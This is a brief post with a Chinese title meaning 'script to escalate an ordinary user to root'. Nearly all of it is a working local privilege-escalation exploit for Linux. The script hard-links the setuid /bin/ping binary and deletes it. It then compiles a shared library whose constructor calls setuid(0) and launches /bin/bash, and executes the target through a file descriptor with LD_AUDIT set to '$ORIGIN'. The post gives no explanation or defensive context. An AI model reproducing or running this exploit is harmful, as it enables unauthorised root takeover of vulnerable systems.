普通用户提权至ROOT脚本

#!/bin/sh
unset LD_AUDIT
rm -r -f /tmp/exploit
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
ls -l /proc/$$/fd/3
rm -rf /tmp/exploit
ls -l /proc/$$/fd/3
cat > program.c << _EOF
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
_EOF
gcc -w -fPIC -shared -o /tmp/exploit program.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
unset LD_AUDIT